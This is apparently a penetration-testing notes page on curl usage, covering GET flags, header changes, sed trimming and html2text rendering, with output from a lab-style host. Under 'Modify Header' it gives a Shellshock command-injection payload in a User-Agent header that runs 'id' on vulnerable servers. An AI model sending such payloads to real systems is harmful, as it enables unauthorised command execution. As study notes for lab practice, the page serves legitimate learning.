curl

Simple GET request

Main: GET request -i: Include response header -L: Follow redirection

curl -i -L <target_ip>

-s: Silent mode

Modify Header

For example, change user agent:

curl -H 'User-Agent: () { :; }; echo "hello" bash -c id' <target> -s

SED tips

If the output contains many space preceding, we can use sed to trim. For example, if the output looks like:

                <title>Trees of Large Sizes</title>
                <link rel="stylesheet" href="http://10.11.1.71/site/index.php/css/site.css" type="text/css" media="all" />
                <link rel="stylesheet" href="http://10.11.1.71/site/css/print.css" type="text/css" media="print" />

We can pipe it to sed:

| sed -e 's/^[[:space:]]*//

The output will be:

<title>Trees of Large Sizes</title>
<link rel="stylesheet" href="http://10.11.1.71/site/index.php/css/site.css" type="text/css" media="all" />
<link rel="stylesheet" href="http://10.11.1.71/site/css/print.css" type="text/css" media="print" />

Webpage to Text version

Note that we can use html2text to 'see' the website on CMD:

curl x.x.x.x -L | html2text

Last updated